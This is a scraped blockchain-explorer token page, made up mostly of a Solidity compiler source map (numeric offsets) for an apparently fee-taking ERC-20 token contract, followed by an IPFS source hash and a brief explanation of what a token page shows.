227:28;760:10;17244:2;17248:6;17227:9;:28::i;12542:92::-;1882:13;:11;:13::i;:::-;12603::::1;:23:::0;;;::::1;;-1:-1:-1::0;;;12603:23:0::1;-1:-1:-1::0;;;;12603:23:0;;::::1;::::0;;;::::1;::::0;;12542:92::o;2902:238::-;1882:13;:11;:13::i;:::-;-1:-1:-1;;;;;3005:22:0;::::1;2983:110;;;::::0;-1:-1:-1;;;2983:110:0;;9580:2:1;2983:110:0::1;::::0;::::1;9562:21:1::0;9619:2;9599:18;;;9592:30;9658:34;9638:18;;;9631:62;-1:-1:-1;;;9709:18:1;;;9702:36;9755:19;;2983:110:0::1;9378:402:1::0;2983:110:0::1;3104:28;3123:8;3104:18;:28::i;:::-;2902:238:::0;:::o;18206:380::-;-1:-1:-1;;;;;18342:19:0;;18334:68;;;;-1:-1:-1;;;18334:68:0;;9987:2:1;18334:68:0;;;9969:21:1;10026:2;10006:18;;;9999:30;10065:34;10045:18;;;10038:62;-1:-1:-1;;;10116:18:1;;;10109:34;10160:19;;18334:68:0;9785:400:1;18334:68:0;-1:-1:-1;;;;;18421:21:0;;18413:68;;;;-1:-1:-1;;;18413:68:0;;10392:2:1;18413:68:0;;;10374:21:1;10431:2;10411:18;;;10404:30;10470:34;10450:18;;;10443:62;-1:-1:-1;;;10521:18:1;;;10514:32;10563:19;;18413:68:0;10190:398:1;18413:68:0;-1:-1:-1;;;;;18494:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;18546:32;;1603:25:1;;;18546:32:0;;1576:18:1;18546:32:0;;;;;;;18206:380;;;:::o;18594:502::-;-1:-1:-1;;;;;17737:18:0;;;18729:24;17737:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;18796:37:0;;18792:297;;18896:6;18876:16;:26;;18850:117;;;;-1:-1:-1;;;18850:117:0;;10795:2:1;18850:117:0;;;10777:21:1;10834:2;10814:18;;;10807:30;10873:31;10853:18;;;10846:59;10922:18;;18850:117:0;10593:353:1;18850:117:0;19011:51;19020:5;19027:7;19055:6;19036:16;:25;19011:8;:51::i;:::-;18718:378;18594:502;;;:::o;12655:1861::-;-1:-1:-1;;;;;12744:18:0;;12736:68;;;;-1:-1:-1;;;12736:68:0;;11153:2:1;12736:68:0;;;11135:21:1;11192:2;11172:18;;;11165:30;11231:34;11211:18;;;11204:62;-1:-1:-1;;;11282:18:1;;;11275:35;11327:19;;12736:68:0;10951:401:1;12736:68:0;-1:-1:-1;;;;;12823:16:0;;12815:64;;;;-1:-1:-1;;;12815:64:0;;11559:2:1;12815:64:0;;;11541:21:1;11598:2;11578:18;;;11571:30;11637:34;11617:18;;;11610:62;-1:-1:-1;;;11688:18:1;;;11681:33;11731:19;;12815:64:0;11357:399:1;12815:64:0;12907:1;12898:6;:10;12890:64;;;;-1:-1:-1;;;12890:64:0;;11963:2:1;12890:64:0;;;11945:21:1;12002:2;11982:18;;;11975:30;12041:34;12021:18;;;12014:62;-1:-1:-1;;;12092:18:1;;;12085:39;12141:19;;12890:64:0;11761:405:1;12890:64:0;2042:7;2069:6;-1:-1:-1;;;;;13020:15:0;;;2069:6;;13020:15;;:32;;-1:-1:-1;2042:7:0;2069:6;-1:-1:-1;;;;;13039:13:0;;;2069:6;;13039:13;13020:32;:57;;;-1:-1:-1;;;;;;13056:21:0;;13072:4;13056:21;13020:57;13016:144;;;13094:33;13110:4;13116:2;13120:6;13094:15;:33::i;13016:144::-;13226:9;;13172:18;;-1:-1:-1;;;;;13218:17:0;;;13226:9;;13218:17;;13248:78;;13302:12;:10;:12::i;:::-;13398:5;13394:352;;;-1:-1:-1;;;;;13425:14:0;;;;;;:10;:14;;;;;;;;13420:97;;13493:7;;13473:28;;13485:6;;-1:-1:-1;;;13493:7:0;;;;13473:11;:28::i;:::-;13460:41;;13420:97;13394:352;;;-1:-1:-1;;;;;13579:16:0;;;;;;:10;:16;;;;;;;;13574:161;;13692:8;;13629:90;;13663:6;;-1:-1:-1;;;13692:8:0;;;;13629:11;:90::i;:::-;13616:103;;13574:161;13821:10;13811:6;:20;;13803:51;;;;-1:-1:-1;;;13803:51:0;;12373:2:1;13803:51:0;;;12355:21:1;12412:2;12392:18;;;12385:30;-1:-1:-1;;;12431:18:1;;;12424:48;12489:18;;13803:51:0;12171:342:1;13803:51:0;13940:13;;13869:20;;;;;-1:-1:-1;;;13940:13:0;;;;13936:345;;;14015:6;;14005;:16;;13997:43;;;;-1:-1:-1;;;13997:43:0;;12720:2:1;13997:43:0;;;12702:21:1;12759:2;12739:18;;;12732:30;-1:-1:-1;;;12778:18:1;;;12771:44;12832:18;;13997:43:0;12518:338:1;13997:43:0;14096:9;;-1:-1:-1;;;;;14090:15:0;;;14096:9;;14090:15;14086:184;;14182:10;;-1:-1:-1;;;;;14156:13:0;;;;;;:9;:13;;;;;;:22;;14172:6;;14156:22;:::i;:::-;:36;;14126:128;;;;-1:-1:-1;;;14126:128:0;;13063:2:1;14126:128:0;;;13045:21:1;13102:2;13082:18;;;13075:30;-1:-1:-1;;;13121:18:1;;;13114:48;13179:18;;14126:128:0;12861:342:1;14126:128:0;14475:33;14491:4;14497:2;14501:6;14475:15;:33::i;:::-;12725:1791;;12655:1861;;;:::o;2161:132::-;2042:7;2069:6;-1:-1:-1;;;;;2069:6:0;760:10;2225:23;2217:68;;;;-1:-1:-1;;;2217:68:0;;13410:2:1;2217:68:0;;;13392:21:1;;;13429:18;;;13422:30;13488:34;13468:18;;;13461:62;13540:18;;2217:68:0;13208:356:1;9422:173:0;9524:7;8158:13;9552:17;9561:8;9552:6;:17;:::i;:::-;9551:36;;;;:::i;:::-;9544:43;9422:173;-1:-1:-1;;;9422:173:0:o;19104:714::-;-1:-1:-1;;;;;19255:15:0;;;19233:19;19255:15;;;:9;:15;;;;;;;19309:13;;19302:48;;-1:-1:-1;;;19302:48:0;;;;;14031:34:1;;;;14101:15;;;14081:18;;;14074:43;14133:18;;;14126:34;;;19255:15:0;19233:19;;19309:13;;;19302:31;;13966:18:1;;19302:48:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19281:69;;19398:10;19383:11;:25;;19361:113;;;;-1:-1:-1;;;19361:113:0;;14373:2:1;19361:113:0;;;14355:21:1;14412:2;14392:18;;;14385:30;14451:34;14431:18;;;14424:62;-1:-1:-1;;;14502:18:1;;;14495:36;14548:19;;19361:113:0;14171:402:1;19361:113:0;-1:-1:-1;;;;;19510:15:0;;;;;;;:9;:15;;;;;;19528:24;;;19510:42;;19732:13;;;;;;;;;;:23;;;;;;19784:26;;;;;;19749:6;1603:25:1;;1591:2;1576:18;;1457:177;19784:26:0;;;;;;;;19222:596;;19104:714;;;:::o;3300:191::-;3374:16;3393:6;;-1:-1:-1;;;;;3410:17:0;;;-1:-1:-1;;;;;;3410:17:0;;;;;;3443:40;;3393:6;;;;;;;3443:40;;3374:16;3443:40;3363:128;3300:191;:::o;14524:436::-;14607:4;14565:21;17033:18;;;:9;:18;;;;;;14657:14;;14640:31;;;;;;;14688:19;;-1:-1:-1;14701:6:0;;-1:-1:-1;;;14701:6:0;;;;14700:7;14688:19;:35;;;;-1:-1:-1;14711:12:0;;-1:-1:-1;;;14711:12:0;;;;14688:35;14684:269;;;14740:32;14757:14;;14740:16;:32::i;:::-;14809:21;14849;;14845:97;;14891:35;14904:21;14891:12;:35::i;14684:269::-;14554:406;;14524:436::o;14968:784::-;9671:6;:13;;-1:-1:-1;;;;9671:13:0;-1:-1:-1;;;9671:13:0;;;15097:10:::1;::::0;9671:13;;15059:49:::1;::::0;15071:7;;15080:27:::1;::::0;15097:10:::1;-1:-1:-1::0;;;15097:10:0;;::::1;;8158:13;15080:27;:::i;:::-;15059:49;;:11;:49::i;:::-;15042:66:::0;-1:-1:-1;15119:14:0::1;15136:16;15042:66:::0;15136:7;:16:::1;:::i;:::-;15246;::::0;;15260:1:::1;15246:16:::0;;;;;::::1;::::0;;15119:33;;-1:-1:-1;15188:21:0::1;::::0;15163:22:::1;::::0;15246:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;15246:16:0::1;15222:40;;15291:4;15273;15278:1;15273:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;15273:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;15317:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;15317:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;15273:7;;15317:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15307:4;15312:1;15307:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;15307:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;15382:15:::1;::::0;15350:58:::1;::::0;15367:4:::1;::::0;15382:15:::1;15400:7:::0;15350:8:::1;:58::i;:::-;15419:15;::::0;:191:::1;::::0;-1:-1:-1;;;15419:191:0;;-1:-1:-1;;;;;15419:15:0;;::::1;::::0;:66:::1;::::0;:191:::1;::::0;15500:6;;15419:15:::1;::::0;15537:4;;15564::::1;::::0;15584:15:::1;::::0;15419:191:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;15621:15;15663:14;15639:21;:38;;;;:::i;:::-;15621:56;;15690:54;15703:6;15711:32;15723:7;15732:10;;;;;;;;;;;15711:32;;:11;:32::i;:::-;15690:12;:54::i;:::-;-1:-1:-1::0;;9707:6:0;:14;;-1:-1:-1;;;;9707:14:0;;;-1:-1:-1;;;;14968:784:0:o;15760:174::-;15837:11;;15870:12;;;15819;15870;;;;;;;;;;15819;-1:-1:-1;;;;;15837:11:0;;15861:7;;15837:46;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15818:65;;;15902:7;15894:32;;;;-1:-1:-1;;;15894:32:0;;16626:2:1;15894:32:0;;;16608:21:1;16665:2;16645:18;;;16638:30;-1:-1:-1;;;16684:18:1;;;16677:42;16736:18;;15894:32:0;16424:336:1;15942:509:0;16118:15;;16086:58;;16103:4;;-1:-1:-1;;;;;16118:15:0;16136:7;16086:8;:58::i;:::-;16187:15;;16387;;16187:256;;-1:-1:-1;;;16187:256:0;;16259:4;16187:256;;;17106:34:1;17156:18;;;17149:34;;;16187:15:0;17199:18:1;;;17192:34;;;17242:18;;;17235:34;-1:-1:-1;;;;;16387:15:0;;;17285:19:1;;;17278:44;16417:15:0;17338:19:1;;;17331:35;16187:15:0;;;:31;;16226:9;;17040:19:1;;16187:256:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;14:250:1:-;99:1;109:113;123:6;120:1;117:13;109:113;;;199:11;;;193:18;180:11;;;173:39;145:2;138:10;109:113;;;-1:-1:-1;;256:1:1;238:16;;231:27;14:250::o;269:396::-;418:2;407:9;400:21;381:4;450:6;444:13;493:6;488:2;477:9;473:18;466:34;509:79;581:6;576:2;565:9;561:18;556:2;548:6;544:15;509:79;:::i;:::-;649:2;628:15;-1:-1:-1;;624:29:1;609:45;;;;656:2;605:54;;269:396;-1:-1:-1;;269:396:1:o;670:131::-;-1:-1:-1;;;;;745:31:1;;735:42;;725:70;;791:1;788;781:12;806:134;874:20;;903:31;874:20;903:31;:::i;:::-;806:134;;;:::o;945:315::-;1013:6;1021;1074:2;1062:9;1053:7;1049:23;1045:32;1042:52;;;1090:1;1087;1080:12;1042:52;1129:9;1116:23;1148:31;1173:5;1148:31;:::i;:::-;1198:5;1250:2;1235:18;;;;1222:32;;-1:-1:-1;;;945:315:1:o;1639:456::-;1716:6;1724;1732;1785:2;1773:9;1764:7;1760:23;1756:32;1753:52;;;1801:1;1798;1791:12;1753:52;1840:9;1827:23;1859:31;1884:5;1859:31;:::i;:::-;1909:5;-1:-1:-1;1966:2:1;1951:18;;1938:32;1979:33;1938:32;1979:33;:::i;:::-;1639:456;;2031:7;;-1:-1:-1;;;2085:2:1;2070:18;;;;2057:32;;1639:456::o;2289:247::-;2348:6;2401:2;2389:9;2380:7;2376:23;2372:32;2369:52;;;2417:1;2414;2407:12;2369:52;2456:9;2443:23;2475:31;2500:5;2475:31;:::i;2541:180::-;2600:6;2653:2;2641:9;2632:7;2628:23;2624:32;2621:52;;;2669:1;2666;2659:12;2621:52;-1:-1:-1;2692:23:1;;2541:180;-1:-1:-1;2541:180:1:o;2923:127::-;2984:10;2979:3;2975:20;2972:1;2965:31;3015:4;3012:1;3005:15;3039:4;3036:1;3029:15;3055:160;3120:20;;3176:13;;3169:21;3159:32;;3149:60;;3205:1;3202;3195:12;3220:1191;3310:6;3318;3371:2;3359:9;3350:7;3346:23;3342:32;3339:52;;;3387:1;3384;3377:12;3339:52;3427:9;3414:23;3456:18;3497:2;3489:6;3486:14;3483:34;;;3513:1;3510;3503:12;3483:34;3551:6;3540:9;3536:22;3526:32;;3596:7;3589:4;3585:2;3581:13;3577:27;3567:55;;3618:1;3615;3608:12;3567:55;3654:2;3641:16;3676:4;3699:2;3695;3692:10;3689:36;;;3705:18;;:::i;:::-;3751:2;3748:1;3744:10;3783:2;3777:9;3846:2;3842:7;3837:2;3833;3829:11;3825:25;3817:6;3813:38;3901:6;3889:10;3886:22;3881:2;3869:10;3866:18;3863:46;3860:72;;;3912:18;;:::i;:::-;3948:2;3941:22;3998:18;;;4032:15;;;;-1:-1:-1;4074:11:1;;;4070:20;;;4102:19;;;4099:39;;;4134:1;4131;4124:12;4099:39;4158:11;;;;4178:148;4194:6;4189:3;4186:15;4178:148;;;4260:23;4279:3;4260:23;:::i;:::-;4248:36;;4211:12;;;;4304;;;;4178:148;;;4345:6;-1:-1:-1;4370:35:1;;-1:-1:-1;4386:18:1;;;4370:35;:::i;:::-;4360:45;;;;;;3220:1191;;;;;:::o;4624:163::-;4691:20;;4751:10;4740:22;;4730:33;;4720:61;;4777:1;4774;4767:12;4792:320;4865:6;4873;4881;4934:2;4922:9;4913:7;4909:23;4905:32;4902:52;;;4950:1;4947;4940:12;4902:52;4986:9;4973:23;4963:33;;5015:37;5048:2;5037:9;5033:18;5015:37;:::i;:::-;5005:47;;5071:35;5102:2;5091:9;5087:18;5071:35;:::i;:::-;5061:45;;4792:320;;;;;:::o;5117:256::-;5183:6;5191;5244:2;5232:9;5223:7;5219:23;5215:32;5212:52;;;5260:1;5257;5250:12;5212:52;5283:28;5301:9;5283:28;:::i;:::-;5273:38;;5330:37;5363:2;5352:9;5348:18;5330:37;:::i;:::-;5320:47;;5117:256;;;;;:::o;5378:248::-;5446:6;5454;5507:2;5495:9;5486:7;5482:23;5478:32;5475:52;;;5523:1;5520;5513:12;5475:52;-1:-1:-1;;5546:23:1;;;5616:2;5601:18;;;5588:32;;-1:-1:-1;5378:248:1:o;5631:180::-;5687:6;5740:2;5728:9;5719:7;5715:23;5711:32;5708:52;;;5756:1;5753;5746:12;5708:52;5779:26;5795:9;5779:26;:::i;5816:388::-;5884:6;5892;5945:2;5933:9;5924:7;5920:23;5916:32;5913:52;;;5961:1;5958;5951:12;5913:52;6000:9;5987:23;6019:31;6044:5;6019:31;:::i;:::-;6069:5;-1:-1:-1;6126:2:1;6111:18;;6098:32;6139:33;6098:32;6139:33;:::i;:::-;6191:7;6181:17;;;5816:388;;;;;:::o;6209:127::-;6270:10;6265:3;6261:20;6258:1;6251:31;6301:4;6298:1;6291:15;6325:4;6322:1;6315:15;6341:422;6430:1;6473:5;6430:1;6487:270;6508:7;6498:8;6495:21;6487:270;;;6567:4;6563:1;6559:6;6555:17;6549:4;6546:27;6543:53;;;6576:18;;:::i;:::-;6626:7;6616:8;6612:22;6609:55;;;6646:16;;;;6609:55;6725:22;;;;6685:15;;;;6487:270;;;6491:3;6341:422;;;;;:::o;6768:806::-;6817:5;6847:8;6837:80;;-1:-1:-1;6888:1:1;6902:5;;6837:80;6936:4;6926:76;;-1:-1:-1;6973:1:1;6987:5;;6926:76;7018:4;7036:1;7031:59;;;;7104:1;7099:130;;;;7011:218;;7031:59;7061:1;7052:10;;7075:5;;;7099:130;7136:3;7126:8;7123:17;7120:43;;;7143:18;;:::i;:::-;-1:-1:-1;;7199:1:1;7185:16;;7214:5;;7011:218;;7313:2;7303:8;7300:16;7294:3;7288:4;7285:13;7281:36;7275:2;7265:8;7262:16;7257:2;7251:4;7248:12;7244:35;7241:77;7238:159;;;-1:-1:-1;7350:19:1;;;7382:5;;7238:159;7429:34;7454:8;7448:4;7429:34;:::i;:::-;7499:6;7495:1;7491:6;7487:19;7478:7;7475:32;7472:58;;;7510:18;;:::i;:::-;7548:20;;6768:806;-1:-1:-1;;;6768:806:1:o;7579:140::-;7637:5;7666:47;7707:4;7697:8;7693:19;7687:4;7666:47;:::i;7724:168::-;7797:9;;;7828;;7845:15;;;7839:22;;7825:37;7815:71;;7866:18;;:::i;7897:125::-;7962:9;;;7983:10;;;7980:36;;;7996:18;;:::i;8376:184::-;8446:6;8499:2;8487:9;8478:7;8474:23;8470:32;8467:52;;;8515:1;8512;8505:12;8467:52;-1:-1:-1;8538:16:1;;8376:184;-1:-1:-1;8376:184:1:o;8565:127::-;8626:10;8621:3;8617:20;8614:1;8607:31;8657:4;8654:1;8647:15;8681:4;8678:1;8671:15;13569:217;13609:1;13635;13625:132;;13679:10;13674:3;13670:20;13667:1;13660:31;13714:4;13711:1;13704:15;13742:4;13739:1;13732:15;13625:132;-1:-1:-1;13771:9:1;;13569:217::o;14578:175::-;14646:10;14689;;;14677;;;14673:27;;14712:12;;;14709:38;;;14727:18;;:::i;:::-;14709:38;14578:175;;;;:::o;14758:128::-;14825:9;;;14846:11;;;14843:37;;;14860:18;;:::i;14891:251::-;14961:6;15014:2;15002:9;14993:7;14989:23;14985:32;14982:52;;;15030:1;15027;15020:12;14982:52;15062:9;15056:16;15081:31;15106:5;15081:31;:::i;15147:980::-;15409:4;15457:3;15446:9;15442:19;15488:6;15477:9;15470:25;15514:2;15552:6;15547:2;15536:9;15532:18;15525:34;15595:3;15590:2;15579:9;15575:18;15568:31;15619:6;15654;15648:13;15685:6;15677;15670:22;15723:3;15712:9;15708:19;15701:26;;15762:2;15754:6;15750:15;15736:29;;15783:1;15793:195;15807:6;15804:1;15801:13;15793:195;;;15872:13;;-1:-1:-1;;;;;15868:39:1;15856:52;;15963:15;;;;15928:12;;;;15904:1;15822:9;15793:195;;;-1:-1:-1;;;;;;;16044:32:1;;;;16039:2;16024:18;;16017:60;-1:-1:-1;;;16108:3:1;16093:19;16086:35;16005:3;15147:980;-1:-1:-1;;;15147:980:1:o;16132:287::-;16261:3;16299:6;16293:13;16315:66;16374:6;16369:3;16362:4;16354:6;16350:17;16315:66;:::i;:::-;16397:16;;;;;16132:287;-1:-1:-1;;16132:287:1:o;17377:306::-;17465:6;17473;17481;17534:2;17522:9;17513:7;17509:23;17505:32;17502:52;;;17550:1;17547;17540:12;17502:52;17579:9;17573:16;17563:26;;17629:2;17618:9;17614:18;17608:25;17598:35;;17673:2;17662:9;17658:18;17652:25;17642:35;;17377:306;;;;;:::o

Swarm Source

ipfs://ab6c9cfc794519e0a66cd7d424c43ecac767fad7b724a1a76986c005d7ec41c7
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.